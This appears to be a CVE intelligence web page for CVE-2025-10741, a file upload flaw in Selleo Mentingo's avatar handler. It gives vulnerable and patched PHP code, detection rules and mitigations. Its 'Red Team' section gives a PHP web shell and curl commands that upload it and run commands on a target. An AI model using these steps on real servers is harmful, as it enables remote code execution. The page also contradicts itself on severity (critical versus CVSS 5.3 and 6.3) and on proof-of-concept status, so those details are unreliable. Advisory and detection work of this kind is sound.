☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 5.3 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-10741

CVE-2025-10741 Arbitrary File Upload in Selleo
📅 PUBLISHED: 2025-09-20 12:02 UTC 🔄 UPDATED: 2026-09-23 20:32 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1548
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-10741 is a critical unrestricted file upload vulnerability in Selleo Mentingo (up to version 2025.08.27). The flaw resides in the Profile Picture Handler, where the userAvatar argument is not properly sanitized, allowing an attacker to upload arbitrary files (e.g., web shells) to the server. This can lead to remote code execution, data exfiltration, or full server compromise. The exploit has been publicly disclosed, and the vendor has not responded to disclosure attempts. No official patch exists at this time.

Note: This vulnerability is not related to a WordPress plugin or component; it is a standalone application vulnerability.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 6.3 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: Low (C:L)
  • Integrity Impact: Low (I:L)
  • Availability Impact: Low (A:L)

Threat Level: Medium – Exploitation is trivial, but impact is limited to low-level compromise unless chained with other vulnerabilities.

Deep Dive & Mechanics

The vulnerability exists in the profile picture upload functionality of Selleo Mentingo. The application fails to validate the file type, size, or content of uploaded files via the userAvatar parameter. An attacker can send a crafted HTTP request (typically a POST or multipart form) containing a malicious file (e.g., a PHP web shell) instead of a legitimate image.

Attack Flow:

  1. Attacker identifies the upload endpoint (e.g., /profile/avatar or /api/upload).
  2. Attacker crafts a request with a malicious file (e.g., shell.php) disguised as an image (e.g., Content-Type: image/jpeg).
  3. The server accepts the file and stores it in a web-accessible directory (e.g., /uploads/avatars/).
  4. Attacker accesses the uploaded file via its URL, triggering code execution.

Root Cause: Lack of file type validation, missing MIME type checks, and no file extension whitelisting.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable upload handler
if (isset($_FILES['userAvatar'])) {
    $target_dir = "uploads/avatars/";
    $target_file = $target_dir . basename($_FILES["userAvatar"]["name"]);
    move_uploaded_file($_FILES["userAvatar"]["tmp_name"], $target_file);
}

Patched Code (Conceptual):

// Patched upload handler
$allowed_types = ['image/jpeg', 'image/png', 'image/gif'];
$allowed_extensions = ['jpg', 'jpeg', 'png', 'gif'];

if (isset($_FILES['userAvatar'])) {
    $file_type = mime_content_type($_FILES['userAvatar']['tmp_name']);
    $file_ext = strtolower(pathinfo($_FILES['userAvatar']['name'], PATHINFO_EXTENSION));
    
    if (in_array($file_type, $allowed_types) && in_array($file_ext, $allowed_extensions)) {
        $target_dir = "uploads/avatars/";
        $target_file = $target_dir . uniqid() . "." . $file_ext;
        move_uploaded_file($_FILES["userAvatar"]["tmp_name"], $target_file);
    } else {
        die("Invalid file type.");
    }
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running Selleo Mentingo (up to 2025.08.27)
  • Network access to the application

Exploit Steps:

  1. Identify the upload endpoint (e.g., via directory brute-forcing or inspecting network traffic).
  2. Create a malicious PHP web shell:
    <?php system($_GET['cmd']); ?>
    
  3. Upload the shell using a crafted HTTP request:
    curl -X POST -F "userAvatar=@shell.php;type=image/jpeg" http://target.com/profile/avatar
    
  4. Access the uploaded file:
    curl http://target.com/uploads/avatars/shell.php?cmd=id
    

Expected Output:

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Blue Team (Defensive)

Detection:

  • Monitor for unusual file uploads (e.g., files with .php, .asp, .jsp extensions).
  • Alert on uploads where MIME type does not match file extension.
  • Watch for requests to /uploads/avatars/ followed by command execution patterns.

Mitigation:

  • Implement strict file type validation (MIME and extension).
  • Store uploaded files outside the web root.
  • Use a Content Security Policy (CSP) to block script execution from upload directories.
  • Apply principle of least privilege to the upload directory.

Indicators of Compromise (IOCs)

Type Indicator Description
File shell.php, cmd.php, backdoor.php Common web shell names
URL /uploads/avatars/*.php Access to uploaded malicious files
Network POST request to /profile/avatar with Content-Type: multipart/form-data Upload attempt
Log move_uploaded_file errors or warnings Failed upload attempts
Log system(), exec(), shell_exec() calls Post-exploitation activity

Detection Engineering

YARA Rule

rule CVE_2025_10741_WebShell {
    meta:
        description = "Detects web shells uploaded via CVE-2025-10741"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-10741"
    strings:
        $php_tag = "<?php"
        $system_call = "system("
        $cmd_param = "$_GET['cmd']"
        $shell_exec = "shell_exec("
    condition:
        $php_tag and ($system_call or $cmd_param or $shell_exec)
}

Sigma Rule

title: CVE-2025-10741 Unrestricted File Upload Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit unrestricted file upload in Selleo Mentingo
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'userAvatar'
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate image uploads
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-10741 Unrestricted File Upload Attempt"; flow:to_server; content:"POST"; http_method; content:"userAvatar"; http_client_body; content:".php"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the profile picture upload feature until a patch is available.
  2. Implement a Web Application Firewall (WAF) rule to block uploads of executable files.
  3. Restrict upload directory permissions to prevent execution (e.g., chmod -x on the uploads folder).

Long-term Fix:

  • Apply input validation and file type whitelisting as shown in the patched code example.
  • Store uploaded files in a non-web-accessible directory and serve them via a proxy script.
  • Conduct a full security audit of the application.

Vendor Contact: Since the vendor is unresponsive, consider forking the project or migrating to an alternative solution.


Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-10741/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.